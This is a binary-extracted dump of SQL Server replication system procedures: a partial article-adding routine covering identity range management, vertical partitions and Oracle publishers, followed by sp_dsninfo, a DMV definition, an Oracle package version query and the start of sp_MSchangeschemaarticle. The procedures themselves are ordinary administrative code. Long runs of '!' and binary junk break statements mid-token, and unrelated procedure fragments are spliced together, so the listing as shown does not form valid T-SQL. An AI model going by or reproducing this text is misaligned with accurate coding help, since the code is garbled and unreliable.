    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C),v&            select @upd_cmd = sys.fn_repltranquotecustomproc(@upd_cmd,@prependDBO) 
                if @upd_cmd = N''
                begin
                	raiserror (22829, 16, -1, @tmp_cmd, N'dbo', 255)
                     goto UNDO
                end                

            end
            --
            -- if the command format is SQL and we have identity column
            -- when @identityrangemanagementoption = NONE - identity will be scripted as base datatype
            -- on subscriber
            -- when @identityrangemanagementoption = MANUAL/AUTO - identity will be marked as NFR
            -- and scripted as identity NFR on subscriber
            -- 
            -- No need to do anything special for SQL format
            --

            --
            -- Auto identity range management processing
            --
            IF @identityrangemanagementoption = N'auto' 
            begin
                if (@allow_queued_tran = 0 and @allow_sync_tran = 0)
                begin
                    raiserror(21231, 16 ,-1)
                    GOTO UNDO
                end
                /*
                ** If you want to have auto identity range support, @range and threshold can not be NULL
                */
                if (@pub_identity_range is NULL or @identity_range is NULL or @threshold is NULL)
                begin
                    raiserror(21193, 16, -1)
                    GOTO UNDO
                end

                if @tablehasidentity <> 1
                begin
                    raiserror(21194, 16, -1)
                    GOTO UNDO
                end

                if @pub_identity_range <= 1 or @identity_range <= 1
                begin
                    raiserror(21232, 16 ,-1)
                    GOTO UNDO
                end

                if @threshold < 1 or @threshold > 100
                begin
                    raiserror(21233, 16 ,-1)
                    GOTO UNDO
                end

                select @xtype=system_type_id, @xprec=precision 
                from sys.columns where object_id=@tabid and is_identity=1
                select @max_range =
                        case @xtype when 52 then power((convert(bigint,2)), 8*2-1) - 1 --smallint 
                            when 48 then power((convert(bigint,2)), 8-1) - 1         --tinyint
                            when 56 then power((convert(bigint,2)), 8*4-1) - 1       --int
                            when 127 then power((convert(bigint,2)), 62) - 1 + power((convert(bigint,2)), 62)   --bigint
                            when 108 then power((convert(bigint,10)), @xprec)    --numeric
                            when 106 then power((convert(bigint,10)), @xprec)    --decimal
                        else
                            power((convert(bigint,2)), 62) + power((convert(bigint,2)), 62) - 1  -- defaulted to bigint
                        end
                --
                -- compute the max range that can be allocated for the identity column
                --
                select @max_range = @max_range - ISNULL(IDENT_CURRENT(@source_table), IDENT_SEED(@source_table))
                if @pub_identity_range * 2 + @identity_range > @max_range
                begin
                    raiserror(21290, 16, -1)
                    GOTO UNDO
                end

                -- Set the range to negtive if incr of the identity is negtive
                if IDENT_INCR(@source_table) < 0
                begin
                    select @pub_identity_range = -1 * @pub_identity_range
                            ,@identity_range = -1 * @identity_range
                end

                -- If the table is already published in queued but is not auto identity
                -- raiserror error
                if exists (select * 
                            from dbo.sysarticles as sa
                                join dbo.sysarticleupdates as au
                                    on au.artid = sa.artid
                                join dbo.syspublications as pub 
                                    on au.pubid = pub.pubid
                            where sa.objid = @tabid 
                                and pub.allow_queued_tran = 1 
                                and au.identity_support = 0)
                begin
                    raiserror (21240, 16, -1, @source_table)
                    GOTO UNDO
                end

                -- If the table is already published in queued and have different auto identity 
                -- range values, raise error.
                if exists (select * from dbo.MSpub_identity_range where objid=@tabid and 
                    ((pub_range<>@pub_identity_range) or (range <> @identity_range) or (threshold <> @threshold)))
                begin
                    raiserror (21240, 16, -1, @source_table)
                    GOTO UNDO
                end
            end
            else
            begin
                -- @identityrangemanagementoption is not AUTO
                -- If the publication is queued and the table has published with auto identity
                -- already, raise error.
                -- Oracle publications do not allow updating subscribers 
                IF @issqlpublisher = 1
                BEGIN
                    if exists (select * 
                                from dbo.sysarticles as sa
                                    join dbo.sysarticleupdates as au
                                        on au.artid = sa.artid
                                where sa.objid = @tabid 
                                    and au.identity_support = 1)
                    begin
                        raiserror (21240, 16, -1, @source_table)
                        GOTO UNDO
                    end
                END
            end
            --
            -- Do not allow the table to be published by both merge and updating subscribers
            -- Oracle publications to not allow updating subscribers (allow_queued_tran must be 0)
            --
            if (@allow_queued_tran = 1 or @allow_sync_tran = 1)
            begin
                if object_id(N'dbo.sysmergearticles') is not null 
                begin
                    if exists (select * from dbo.sysmergearticles where objid = @tabid)
                    begin
                        raiserror(21266, 16, -1, @source_table)
                        GOTO UNDO
                    end
                end
            end

            /**********************************************************
            **
            ** SqlServerPubs
            ** the following section is for Sql server publications 
            **
            ***********************************************************/

            INSERT sysarticles (creation_script, del_cmd, description,
                dest_table, filter, filter_clause, ins_cmd, name,
                objid, pre_creation_cmd, pubid,
                status, sync_objid, type, upd_cmd, schema_option,
                dest_owner, fire_triggers_on_snapshot)
            VALUES (@creation_script, @del_cmd, @description, @destination_table,
                @filterid, @filter_clause, @ins_cmd, @article, @tabid,
                @precmdid, @pubid, @status, @syncid, @typeid, @upd_cmd, @schema_option, 
                @destination_owner, @fire_triggers_on_snapshot_bit)

            IF @@ERROR <> 0
                goto UNDO

            SELECT @artid = @@IDENTITY
                    
            delete dbo.sysarticlecolumns where artid = @artid

            IF @source_table IS NOT NULL
            BEGIN
                EXEC %%Object(MultiName = @source_table).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
                IF @@ERROR = 0
                    EXEC %%Object(ID = @tabid).SetPublished(Value = 1)
           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C-Lv& END

            IF @filter IS NOT NULL
            BEGIN
                EXEC sys.sp_MSsetfilterparent @filter, @tabid
                IF @@ERROR <> 0
                    goto UNDO
            END

            EXEC sys.sp_MSsetfilteredstatus @tabid
            IF @@ERROR <> 0
                goto UNDO

            --
            -- Process vertical partitions
            --
            IF @vertical_partition = N'false'
            BEGIN
                EXECUTE @retcode  = sys.sp_articlecolumn @publication, @article
                    -- synctran
                    , @refresh_synctran_procs = 0
                    , @force_invalidate_snapshot = @force_invalidate_snapshot
                    , @internal = 1
        
                IF @@ERROR <> 0 OR @retcode <> 0
                    goto UNDO
            END
            ELSE
            BEGIN
                --
                -- vertical partition = true
                -- 1. Set all bits to '1' for all columns in the primary key.
                -- 2. If the publication allows updating subscribers
                --      Set all columns for non PK unique key(s) to 1
                --      Set version column bit to 1 
                --      Set all column bits to 1 that do not allow NULL or DEFAULT value
                --
                if (@allow_sync_tran = 1 or @allow_queued_tran = 1)
                begin
                    declare #hpk cursor local fast_forward for
                        select constraint_column_name collate database_default
                            from sys.fn_MSconstraint_columns (@tabid)
                            where type in ('PK', 'UQ')
                        union 
                        select N'msrepl_tran_version' collate database_default
                        union 
                        select name collate database_default
                            from sys.columns 
                            where object_id = @tabid 
                                and is_nullable = 0 
                                and is_identity = 0
                                and name collate database_default not in 
                                        (select constraint_column_name collate database_default
                                            from sys.fn_MSconstraint_columns (@tabid)
                                            where type in ('PK', 'UQ', 'D')) 
                                                and name collate database_default <> N'msrepl_tran_version'  
                end
                else
                begin
                    declare #hpk cursor local fast_forward for
                        select constraint_column_name collate database_default
                        from sys.fn_MSconstraint_columns (@tabid)
                        where type = 'PK'
                end
                open #hpk
                fetch #hpk into @pkkey
                while (@@fetch_status = 0)
                begin
                    EXECUTE @retcode  = sys.sp_articlecolumn @publication,
                                        @article, @pkkey, N'add'
                                        -- synctran
                                        , @refresh_synctran_procs = 0
                                        , @force_invalidate_snapshot = @force_invalidate_snapshot
                                        , @internal = 1
                    IF @@ERROR <> 0 OR @retcode <> 0
                        goto UNDO
                    fetch #hpk into @pkkey
                end
                close #hpk
                deallocate #hpk
            end -- IF @vertical_partition = 'false' ELSE

            --now set pk bits for base column of PK or computed PK columns so SE always log the off-rows
            EXECUTE @retcode  = sys.sp_MSSetLogForRepl @tabid = @tabid
            IF @@ERROR <> 0 OR @retcode <> 0
                goto UNDO
            ------------------------------------------------------------------------------
            -- if table based article does not use a view for sync, create one and use it
            ------------------------------------------------------------------------------

            if @tabid = @syncid 
            begin
                -- generate view name
                --select @guid = CONVERT(varbinary(16), LEFT(NEWID(),8))
                --exec @retcode = sys.xp_varbintohexstr @guid, @viewname OUTPUT
                --if @@ERROR <> 0 OR @retcode <> 0
                --    goto UNDO

                select @viewname = N'syncobj_' 
                    + sys.fn_varbintohexstr(CONVERT(varbinary(16), LEFT(NEWID(),8)))

                -- create view for object synchronization
                if ((@allow_sync_tran = 1 or @allow_queued_tran = 1) 
                    and @vertical_partition = N'true')
                begin
                    --
                    -- vertical partition is true - this means we may not have the 
                    -- complete view yet - column could be added or dropped.
                    -- we do not want to validate the provided filter clause now
                    -- sp_articlefilter will be called explicitly later to add article 
                    -- filter and sp_articleview will be called finally to regenerate the 
                    -- view - and the filter validation will be done then for updating subscribers
                    --
                    exec @retcode = sys.sp_articleview @publication, @article, @viewname, NULL
                            ,@force_invalidate_snapshot = @force_invalidate_snapshot
                            ,@refreshsynctranprocs = 0
                            ,@internal = 1
                end
                else
                begin
                    exec @retcode = sys.sp_articleview @publication, @article, @viewname, @filter_clause
                            ,@force_invalidate_snapshot = @force_invalidate_snapshot
                            ,@refreshsynctranprocs = 0
                            ,@internal = 1
                end
                if @@ERROR <> 0 OR @retcode <> 0
                    goto UNDO
            end
            --
            -- Need to change sys.columns status before generating sync procs/custom procs 
            -- because the status will be used to decide whether or not call set identity insert. Enable
            -- NFR property if identityrangemanagementoption is MANUAL or AUTO. If 
            -- identityrangemanagementoption is NONE then we will not explicity enable NFR.
            --
            IF @identityrangemanagementoption in (N'auto', N'manual' )
            begin
                -- Mark the identity column as not for replication
                select @colname = name
                from sys.columns
                where object_id = @tabid and
                    is_identity = 1 and -- is identity
                    ColumnProperty(object_id, name, N'IsIdNotForRepl') = 0 -- No 'not for repl' property
                if @colname is not null
                begin
                    -- Mark 'not for repl'
                    EXEC %%ColumnEx(ObjectID = @tabid, Name = @colname).SetIdentityNotForRepl(Value = 1)
                    IF @@ERROR <> 0
                        GOTO UNDO
                end
            end
            else
            begin
                --
                -- identityrangemanagementoption is NONE
                -- for immediate updating - raise error if identity column is marked NFR
                --
                if (@allow_sync_tran = 1 and
                    exists (select name from sys.columns
                                where object_id = @tabid and
                                    is_identity = 1 and 
                                    ColumnProperty(object_id, name, N'IsIdNotForRepl') = 1))
                begin
                    rai!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Cv&serror (21766, 16, 1, @source_table)
                    GOTO UNDO
                end
            end
            -- 
            -- if @autogen_sync_procs_id is 1, autogen the sync tran procs, including name 
            --
            if (@tabid > 0) and (@autogen_sync_procs_id = 1 )and (@allow_sync_tran = 1 or @allow_queued_tran = 1) 
            begin
                exec @retcode = sys.sp_articlesynctranprocs @publication, @article, @autogen_sync_procs_id
                IF @@ERROR <> 0 OR @retcode <> 0
                    goto UNDO
            end
            --
            -- Additional processing for auto_identity_range enabling
            --
            IF (@identityrangemanagementoption = N'auto')
            begin
                --
                -- Have to do the update below after sync proc generation since
                -- it will insert row to sysarticleupdates
                --
                update sysarticleupdates set identity_support = 1 where artid = @artid
                IF @@ERROR <> 0
                    goto UNDO        
                --
                -- It is possible that the table is already being published. If so
                -- keep the old identity range values.
                --
                if not exists (select * from dbo.MSpub_identity_range where objid = @tabid)
                begin
                    insert into MSpub_identity_range (objid, range, pub_range, current_pub_range, last_seed, threshold) 
                    values (@tabid, @identity_range, @pub_identity_range, @pub_identity_range, null, @threshold) 
                    IF @@ERROR <> 0
                        goto UNDO
                    --
                    -- Call stored procedure to reconcile identity range
                    --
                    exec @retcode = sys.sp_MSpub_adjust_identity @artid = @artid, @max_identity = @max_range
                    IF @@ERROR <> 0 OR @retcode <> 0
                        goto UNDO
                end                 
            end -- IF LOWER(@auto_identity_range collate SQL_Latin1_General_CP1_CS_AS) = 'true' 
            
            -- 0x00001000 collation
            -- 0x00002000 extended property
            -- @schema_option is already padded out at the beginning of this procedure

            SELECT @schema_option_lodword = fn_replgetbinary8lodword(@schema_option)
            IF ((@schema_option_lodword & 0x00001000 <>0 ) or 
                    (@schema_option_lodword & 0x00002000 <> 0 ))
                select @backward_comp_level = 40
            if @backward_comp_level > 10
                update dbo.syspublications set backward_comp_level = @backward_comp_level where pubid = @pubid

            -- *****************************************************************
            -- ** end of Sql server specific 
            -- *****************************************************************
        END -- SQL Publisher
        ELSE
        BEGIN
            -- *********************************************************
            -- **
            -- ** Heterogeneous publications 
            -- **
            -- *********************************************************

            -- Sync metadata
            EXEC @retcode = sys.sp_IHsyncmetadata   @publisher    = @publisher,
                                                    @source_owner = @source_owner,
                                                    @source_table = @source_table,
                                                    @refresh      = 0
            
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO

            -- Verify table metadata is available
            SELECT  @table_id = table_id
            FROM    dbo.IHpublishertables
            WHERE   publisher_id = @publisher_id
              AND   name = @source_table
              AND   owner = @source_owner

            -- if the table is already published, there are constraints on republishing the table within
            -- a transactional publication, based upon publisher type.  A table may always be republished
            -- to a snapshot publication.
            IF @table_id IS NOT NULL AND @repl_freq = 0
            BEGIN
            
                -- if this is an 'ORACLE GATEWAY' publisher, the Oracle table may only be referenced in
                -- one transactional publication	
                if (@publisher_type = N'ORACLE GATEWAY')
                BEGIN
                    IF EXISTS
                    (
                        SELECT	*
                        FROM	IHarticles i,
                        MSpublications m
                        WHERE	i.publisher_id = m.publisher_id
                            AND   i.publication_id = m.publication_id
                            AND   i.table_id = @table_id
                            AND   i.publisher_id = @publisher_id
                            AND   m.publication_type = 0
                        )
                        BEGIN
                            RAISERROR (21791, 16, -1, @source_owner, @source_table, @publisher)
                            RETURN (1)
                        END
                END -- @publisher_type = N'ORACLE GATEWAY'
                ELSE
                BEGIN
                    -- if this is an 'ORACLE' publisher, the Oracle table may only appear once in
                    -- each (this) transactional publication	
                    IF EXISTS
                    (
                        SELECT	*
                        FROM	IHarticles i
                        WHERE	i.table_id = @table_id
                            AND   i.publication_id = @pubid
                    )
                    BEGIN
                        RAISERROR (21792, 16, -1, @source_owner, @source_table, @publication, @publisher)
                        RETURN (1)
                    END
                END
            END -- IF @table_id IS NOT NULL AND @repl_freq = 0

        -- Set publisher DBMS and version (for getting default data type mapping)
        SELECT	@publisher_dbms		= 'ORACLE'

        EXEC @retcode = sys.sp_IHgetversion
                                    @publisher	= @publisher,
                                    @version	= @publisher_version OUTPUT

        IF @retcode != 0 OR @@ERROR != 0
        BEGIN
            RETURN (1)
        END

        BEGIN TRAN
        SAVE TRAN sp_addarticle

            EXEC @retcode = sys.sp_IHaddarticle
                                    @article_id					= @artid OUTPUT,
                                    @table_id					= @table_id	OUTPUT,
                                    @fpublished					= @fpublished OUTPUT,
                                    @instance_id				= @instance_id OUTPUT,
                                    @publisher_id				= @publisher_id,
                                    @publisher                  = @publisher,
                                    @publisher_db				= @publisher_db,
                                    @publication_id				= @pubid,
                                    @publication                = @publication,
                                    @publisher_type				= @publisher_type,
                                    @publisherserver			= @distributor,
                                    @article					= @article,
                                    @creation_script			= @creation_script,
                                    @ins_cmd					= @ins_cmd,
                                    @del_cmd					= @del_cmd,
                                    @upd_cmd					= @upd_cmd,
                                    @filterid					= @filterid,
                                    @filter_clause				= @filter_clause,
                                    @precmdid					= @precmdid,
                                    @status						= @status,
                                    @!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C\kv&typeid						= @typeid,
                                    @schema_option				= @schema_option,
                                    @source_owner				= @source_owner,
                                    @source_table				= @source_table,
                                    @destination_owner			= @destination_owner,
                                    @destination_table			= @destination_table,
                                    @vertical_partition			= @vertical_partition,
                                    @force_invalidate_snapshot	= @force_invalidate_snapshot,
                                    @objid						= NULL,
                                    @sync_objid					= NULL,
                                    @description				= @description,
                                    @use_default_datatypes		= @use_default_datatypes,
                                    @publisher_dbms				= @publisher_dbms,
                                    @publisher_version				= @publisher_version

            IF @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
        
            -- *****************************************************************
            -- End of Heterogeneous publication
            -- *****************************************************************
        END -- Heterogeneous publisher block
        
    END -- End of the else block to handle table articles.

    --
    -- Add article at distributor
    --
    SELECT @internal = case when sys.fn_yukonsecuritymodelrequired(NULL) = 1 THEN N'YUKON ADD SUB' ELSE N'PRE-YUKON' END,
           @distproc = CASE
                            WHEN @issqlpublisher = 1 THEN QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + N'.'
                            ELSE N''
                       END + N'dbo.sp_MSadd_article'

    EXECUTE @retcode =  @distproc
                    @publisher = @loc_publisher,
                    @publisher_db = @publisher_db,
                    @publication = @publication,
                    @article = @article,
                    @article_id = @artid,
                    @destination_object = @destination_table,
                    @source_owner = @source_owner,
                    @source_object = @bak_source,
                    @description = @description,
                    @internal = @internal

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO UNDO
    
    /* If the publication is immediate_sync type
    ** 1. Change the immediate_sync_ready status to false 
    ** 2. Add a virtual subscription on the article 
    ** 3. Add subscriptions for all the subscriber
    ** that have no_sync subscriptions on the publication
    **
    ** If the publication is P2P then:
    ** 1. Add subscriptions for all the subscriber
    **
    ** Note: Subscriptions for subscribers that have automatic sync subscriptions
    ** on the publication will be added by snasphot agent.
    **
    */ 
    SELECT @pub_is_immediate_sync = ISNULL(immediate_sync,0)
    FROM dbo.syspublications
    WHERE name  = @publication
        AND pubid = @pubid

    IF @pub_is_immediate_sync = 1 OR @is_p2p = 1
    BEGIN
        IF @pub_is_immediate_sync = 1
        BEGIN
            EXECUTE @retcode = sys.sp_addsubscription 
                                            @publication	= @publication, 
                                            @article		= @article, 
                                            @subscriber		= NULL, 
                                            @destination_db	= 'virtual', 
                                            @sync_type		= N'automatic', 
                                            @status			= NULL, 
                                            @reserved		= 'internal',
                                            @publisher		= @publisher

            IF @@ERROR <> 0 OR @retcode <> 0
                GOTO UNDO
        END

        -- Note: We have to add the subscriptions to the new article before 
        -- the virtual subscriptions being activated!!!! Otherwise, the snapshot 
        -- transactions may be skipped by dist agents.
        EXECUTE @retcode = sys.sp_refreshsubscriptions
                                        @publication = @publication,
                                        @publisher   = @publisher

        IF @@ERROR <> 0 OR @retcode <> 0
            GOTO UNDO

        IF @pub_is_immediate_sync = 1
        BEGIN
            -- Have to call this stored procedure to invalidate existing snapshot
            -- if there are any. 
            -- Virtual subscriptions of all the articles will be deactivated.
            EXECUTE @retcode = sys.sp_MSreinit_article
                                            @publication				= @publication, 
                                            @need_new_snapshot			= 1,
                                            @force_invalidate_snapshot	= @force_invalidate_snapshot,
                                            @publisher					= @publisher,
                                            @publisher_type				= @publisher_type

            IF @@ERROR <> 0 OR @retcode <> 0
                GOTO UNDO
        END
    END -- IF @pub_is_immediate_sync = 1 OR @is_p2p = 1

    -- If this article belongs to a SQL Server publication that 
    -- allows automated nosync subscription, 1) activate the article object
    -- immediately to make sure that the distribution database will
    -- have replicated transactions of this article object from now
    -- on, and 2) increment the publication's min autonosync lsn   
    IF @issqlpublisher = 1 AND @allow_initialize_from_backup = 1
       AND @type in (N'logbased', 
                     N'logbased manualfilter',
                     N'logbased manualview',
                     N'logbased manualboth',
                     N'indexed view logbased', 
                     N'indexed view logbased manualfilter',
                     N'indexed view logbased manualview',
                     N'indexed view logbased manualboth')   
    BEGIN
        EXEC %%Relation(ID = @tabid).SetReplicated(Value = 1)
        IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END

	--when p2p conflict detection is enabled
	if @is_p2p = 1 and @object_type = N'U' 
	begin
		select @p2porid = originator_id
		from syspublications 
		where name = @publication and (options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION
				
		if @p2porid is not NULL and @p2porid <> 0
		begin
			--create the conflict table, @source_table: qualified name with owner
			declare @schema_option_bigint bigint
			select @schema_option_bigint = cast(@schema_option as bigint)
			exec @retcode = sys.sp_MSmakepeerconflicttable @fulltablename =@source_table,  @schema_option = @schema_option_bigint
			if @@ERROR <> 0 or @retcode <> 0
				goto UNDO
					
			--set the table persistent property replpeerid, the table was already x-locked; called after SetReplicated(1)
			--hidden column $p2pversion is added internally
			EXEC %%Relation(ID = @tabid).SetReplPeerId(Value = @p2porid)
			if @@ERROR <> 0 
				goto UNDO
		end
	end

        -- Activate the article immediately and flush the article cache.
        -- This way, all transactions against this table will be tracked
        -- and replicated to the distribution database
        UPDATE dbo.sysarticles
           SET status = status | 1
         WHERE artid = @artid    
        IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END               
        EXEC @retcode = sys.sp_replflush
        IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END               
        -- And if the published table contains an identity column that is 
        -- not mark for replication, mark it now so subsequent backups will 
        -- contain the "not for replication" marking 
        SELECT @colname = NULL
        !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<rcDّ80Tg@ 8
--
-- Name: sp_dsninfo
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_dsninfo
--  xp_dsninfo does not support unicode
    @dsn varchar(128),
    @infotype varchar(128) = NULL,
    @login varchar(128) = NULL,
    @password varchar(128) = NULL,
    @dso_type int = 1  /* 1 is ODBC, 3 OLEDB. */
    AS

    SET NOCOUNT ON

    DECLARE @distributor sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int
    DECLARE @dsotype_odbc int
    DECLARE @dsotype_oledb int

    select @dsotype_odbc = 1
    select @dsotype_oledb = 3

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    */

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
        RAISERROR (14071, 16, -1)
            RETURN (1)
    END

    if (@dso_type = @dsotype_odbc)
    begin
        /*
        ** Call xp_dsninfo
        */
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.master.dbo.xp_dsninfo'
        EXEC @retcode = @distproc @dsn, @infotype, @login, @password
        IF @@error <> 0
            BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
    end
    else if (@dso_type = @dsotype_oledb)
    begin
        /*
        ** Call sp_oledbinfo
        */
        EXEC @retcode = sys.sp_oledbinfo @dsn, @infotype, @login, @password
        IF @@error <> 0
            BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
    end

0oj@ 8CREATE VIEW sys.dm_os_dispatcher_pools AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_DISPATCHERPOOLS)
0)t D8R(h|6'}0_Wt@ 8
CREATE PROCEDURE sys.sp_MSrepl_getOraclepackageversion
(
    @publisher          sysname,
    @packageversion     nvarchar(256)  OUTPUT
)
AS
BEGIN
    set nocount on
    DECLARE @retcode            int
    DECLARE @versionreturn      varchar(256)
    DECLARE @version            nvarchar(256)
    DECLARE @InsColumnList	nvarchar(2000)
    DECLARE @SelectColumnList	nvarchar(2000)

    -- Security check.  'sysadmin' or db_owner of distribution db required. 
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN (1)

    -- Define sp_ORAremotequery support table
    create table #hquery
    (
        seq	int identity(2,1),
        cmd	nvarchar(4000)
    )

    -- Define #VERSION support table
    create table #VERSION
    (
        version		varchar(256)
    )

    -- Populate a temp table with the version information from the publisher
    SELECT @InsColumnList    = 'version'
    SELECT @SelectColumnList = 'SQLSERVERVERSION'

    -- Query publisher for version information
    INSERT INTO #hquery(cmd) VALUES ('SELECT * FROM HREPL_VERSION ')

    BEGIN TRY 	
        EXEC @retcode = sp_ORAremotequery 
            @Server		= @publisher,
            @InsTable		= '#VERSION',
            @InsColumnList	= @InsColumnList,
            @SelectColumnList	= @SelectColumnList
    END TRY 	

    BEGIN CATCH
        -- Treat a failure to obtain the version string as a NULL version string
        DROP TABLE #VERSION
        DROP TABLE #hquery
        SET @packageversion = NULL
        RETURN (0)
    END CATCH

    IF  (@@error <> 0 )
    BEGIN
        DROP TABLE #VERSION
        DROP TABLE #hquery
        SET @packageversion = NULL
        RETURN (0)
    END

    -- Return the Oracle package version string
    SET @versionreturn = (SELECT version from #VERSION)
    SET @packageversion = CONVERT(nvarchar(256),@versionreturn)

    IF  (@@error <> 0 )
    BEGIN
        DROP TABLE #VERSION
        DROP TABLE #hquery
        SET @packageversion = NULL
        RETURN (0)
    END

    DROP TABLE #VERSION
    DROP TABLE #hquery

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`z	<v.06b 8create procedure sys.sp_MSchangeschemaarticle (
    @pubid int,
    @artid int,
    @property sysname,
    @value nvarchar(255)
    ) AS
    SET NOCOUNT ON
    DECLARE @retcode int
    DECLARE @pre_creation_cmdid tinyint
    DECLARE @statusid int
    DECLARE @schema_option_table_created bit
    DECLARE @creation_script nvarchar(255)
    DECLARE @type tinyint
    DECLARE @schema_option binary(8)
    DECLARE @valid_schema_options int

    SELECT @type = type 
      FROM sysextendedarticlesview
     WHERE artid = @artid
       AND pubid = @pubid 

    SELECT @schema_option_table_created = 0

    /* 
    ** The pubid and artid passed into this procedure from sp_changearticle
    ** have to be valid by now.
    */
    
    /*
    ** Parameter check: @property
    */
    SELECT @property = LOWER(@property collate SQL_Latin1_General_CP1_CS_AS)
    IF @property NOT IN ('description',
                         'dest_object',
                         'creation_script',
                         'pre_creation_cmd',
                         'schema_option',
                         'destination_owner')
    BEGIN
        RAISERROR(21224, 16, -1, @property)
        RETURN (1)
    END
                         
    -- Since all property changes will take the form of 
    -- simple update stataments, no transaction will be 
    -- started. 

    IF @property = N'description'
    BEGIN
        UPDATE sysschemaarticles 
           SET description = @value
         WHERE artid = @artid
           AND pubid = @pubid

        IF @@ERROR <> 0
            RETURN (1)
    END
    ELSE IF @property = N'dest_object'
    BEGIN
        UPDATE sysschemaarticles
           SET dest_object = @value
         WHERE artid = @artid
           AND pubid = @pubid 

        IF @@ERROR <> 0
            RETURN (1)
    END
    ELSE IF @property = N'creation_script'
    BEGIN
        UPDATE sysschemaarticles 
           SET creation_script = @value
         WHERE artid = @artid
           AND pubid = @pubid

        IF @@ERROR <> 0
            RETURN (1)
    END
    ELSE IF @property = N'pre_creation_cmd'
    BEGIN
        /* 
        ** Validate the given value for
        ** the property. It has to be either 
        ** 'none' or 'drop' case-insensitive.
        */
        SELECT @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
        IF @value NOT IN ('none', 'drop')
        BEGIN
            RAISERROR(21223, 16, -1)
            RETURN (1)
        END

        IF @value = N'none'
            SELECT @pre_creation_cmdid = 0
        ELSE IF @value = N'drop'
            SELECT @pre_creation_cmdid = 1
        
        UPDATE sysschemaarticles
           SET pre_creation_cmd = @pre_creation_cmdid
         WHERE artid = @artid
           AND pubid = @pubid
        
        IF @@ERROR <> 0
            RETURN (1)

    END
    ELSE IF @property = N'schema_option'    
    BEGIN
        
        IF @value IS NULL
        BEGIN
            RAISERROR(14146, 16,1)
            RETURN (1)
        END

